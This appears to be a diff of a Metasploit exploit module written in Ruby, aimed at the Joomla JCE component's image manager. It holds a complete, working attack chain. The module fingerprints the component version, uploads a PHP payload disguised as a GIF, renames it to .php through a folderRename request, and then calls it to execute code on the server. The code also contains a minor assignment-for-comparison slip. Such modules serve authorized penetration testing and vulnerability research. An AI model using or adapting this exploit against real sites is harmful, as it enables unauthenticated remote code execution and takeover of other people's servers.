1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = ExcellentRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpClient
14
+ include Msf ::Exploit ::FileDropper
15
+
16
+ def initialize ( info = { } )
17
+ super ( update_info ( info ,
18
+ 'Name' => 'Joomla Component JCE File Upload Code Execution' ,
19
+ 'Description' => %q{
20
+ This module exploits a vulnerability in the JCE component for Joomla!
21
+ could allow a unauthenticated remote attacker to upload arbitrary files,
22
+ caused by the fails to sufficiently sanitize user-supplied input.
23
+ Sending a specially-crafted HTTP request, a remote attacker could exploit
24
+ this vulnerability to upload a malicious PHP script, which could allow the
25
+ attacker to execute arbitrary PHP code on the vulnerable system.
26
+ } ,
27
+ 'Author' => [ 'Heyder Andrade <eu[at]heyderandrade.org>' ] ,
28
+ 'License' => MSF_LICENSE ,
29
+ 'References' =>
30
+ [
31
+ [ 'BID' , '49338' ] ,
32
+ [ 'EDB' , '17734' ] ,
33
+ ] ,
34
+ 'Payload' =>
35
+ {
36
+ 'Space' => 4000 , # only to prevent error HTTP 414 (Request-URI Too Long)
37
+ 'DisableNops' => true ,
38
+ 'BadChars' => "#" ,
39
+ 'Keys' => [ 'php' ] ,
40
+ 'Compat' =>
41
+ {
42
+ 'ConnectionType' => 'find' ,
43
+ } ,
44
+ } ,
45
+ 'Platform' => 'php' ,
46
+ 'Arch' => ARCH_PHP ,
47
+ 'Targets' => [ [ 'Automatic' , { } ] ] ,
48
+ 'Privileged' => false ,
49
+ 'DisclosureDate' => 'Aug 2 2012' ,
50
+ 'DefaultTarget' => 0 ) )
51
+
52
+ register_options (
53
+ [
54
+ OptString . new ( 'TARGETURI' , [ true , "Joomla directory path" , "/" ] )
55
+ ] , self . class )
56
+ end
57
+
58
+
59
+ def get_version
60
+ # check imgmanager version
61
+ @uri_base = normalize_uri ( target_uri . path . to_s , 'index.php' )
62
+ @vars_get_base = {
63
+ 'option' => 'com_jce' ,
64
+ 'task' => 'plugin' ,
65
+ 'plugin' => 'imgmanager' ,
66
+ 'file' => 'imgmanager'
67
+ }
68
+ print_status ( "Checking component version to #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
69
+ res = send_request_cgi (
70
+ {
71
+ 'uri' => @uri_base ,
72
+ 'vars_get' => @vars_get_base ,
73
+ 'method' => 'GET' ,
74
+ 'version' => '1.1'
75
+
76
+ } )
77
+
78
+ if ( res and res . code == 200 )
79
+ res . body . match ( %r{^\s +?<title>Image\s Manager\s :\s ?(.*)<} )
80
+ version = $1. nil? ? nil : $1
81
+ end
82
+
83
+ return version
84
+ end
85
+
86
+ def check
87
+ version = ( get_version || '' ) . to_s
88
+
89
+ if ( version . match ( %r{1\. 5\. 7\. 1[0-4]?} ) )
90
+ return Exploit ::CheckCode ::Vulnerable
91
+ end
92
+
93
+ return Exploit ::CheckCode ::Safe
94
+ end
95
+
96
+
97
+ def upload_gif
98
+ # add GIF header
99
+ cmd_php = "GIF89aG\n <?php #{ payload . encoded } ?>"
100
+
101
+ # Generate some random strings
102
+ @payload_name = rand_text_alpha_lower ( 6 )
103
+ boundary = '-' * 27 + rand_text_numeric ( 11 )
104
+
105
+ parms = { 'method' => 'form' }
106
+ parms . merge! ( @vars_get_base )
107
+
108
+ # POST data
109
+ post_data = Rex ::MIME ::Message . new
110
+ post_data . bound = boundary
111
+ post_data . add_part ( "/" , nil , nil , "form-data; name=\" upload-dir\" " )
112
+ post_data . add_part ( "" , "application/octet-stream" , nil , "form-data; name=\" Filedata\" ; filename=\" \" " )
113
+ post_data . add_part ( "0" , nil , nil , "form-data; name=\" upload-overwrite\" " )
114
+ post_data . add_part ( "#{ cmd_php } " , "image/gif" , nil , "form-data; name=\" Filedata\" ; filename=\" #{ @payload_name } .gif\" " )
115
+ post_data . add_part ( "#{ @payload_name } " , nil , nil , "form-data; name=\" upload-name\" " )
116
+ post_data . add_part ( "upload" , nil , nil , "form-data; name=\" action\" " )
117
+
118
+ data = post_data . to_s
119
+
120
+ res = send_request_cgi ( {
121
+ 'uri' => @uri_base ,
122
+ 'vars_get' => parms ,
123
+ 'method' => 'POST' ,
124
+ 'version' => '1.1' ,
125
+ 'data' => data ,
126
+ 'ctype' => "multipart/form-data; boundary=#{ post_data . bound } "
127
+ } )
128
+
129
+ if ( res and res . code = 200 )
130
+ return :access_denied if ( res . body =~ /RESTRICTED/i )
131
+ print_good ( "Successfully uploaded #{ @payload_name } .gif" )
132
+ else
133
+ print_error ( "Error uploading #{ @payload_name } .gif" )
134
+ return :abort
135
+ end
136
+
137
+ return :success
138
+
139
+ end
140
+
141
+ def renamed?
142
+ # Rename the file from .gif to .php
143
+
144
+ data = "json={\" fn\" :\" folderRename\" ,\" args\" :[\" /#{ @payload_name } .gif\" ,\" #{ @payload_name } .php\" ]}"
145
+
146
+ print_status ( "Change Extension from #{ @payload_name } .gif to #{ @payload_name } .php" )
147
+
148
+ res = send_request_cgi (
149
+ {
150
+ 'uri' => @uri_base ,
151
+ 'vars_get' => @vars_get_base ,
152
+ 'method' => 'POST' ,
153
+ 'version' => '1.1' ,
154
+ 'data' => data ,
155
+ 'ctype' => 'application/x-www-form-urlencoded; charset=utf-8' ,
156
+ 'headers' =>
157
+ {
158
+ 'X-Request' => 'JSON'
159
+ }
160
+ } )
161
+ if ( res and res . code == 200 )
162
+ print_good ( "Renamed #{ @payload_name } .gif to #{ @payload_name } .php" )
163
+ return true
164
+ else
165
+ print_error ( "Failed to rename #{ @payload_name } .gif to #{ @payload_name } .php" )
166
+ return false
167
+ end
168
+ end
169
+
170
+ def call_payload
171
+ payload = "#{ @payload_name } .php"
172
+ print_status ( "Calling payload: #{ payload } " )
173
+ uri = normalize_uri ( target_uri . path . to_s , "images" , "stories" , payload )
174
+ register_files_for_cleanup ( payload )
175
+ res = send_request_cgi ( {
176
+ 'uri' => uri ,
177
+ 'method' => 'GET' ,
178
+ 'version' => '1.1'
179
+ } )
180
+ end
181
+
182
+
183
+
184
+ def exploit
185
+
186
+ return if not check == Exploit ::CheckCode ::Vulnerable
187
+ if upload_gif == :success
188
+ if renamed?
189
+ call_payload
190
+ end
191
+ end
192
+
193
+ end
194
+
195
+ end
0 commit comments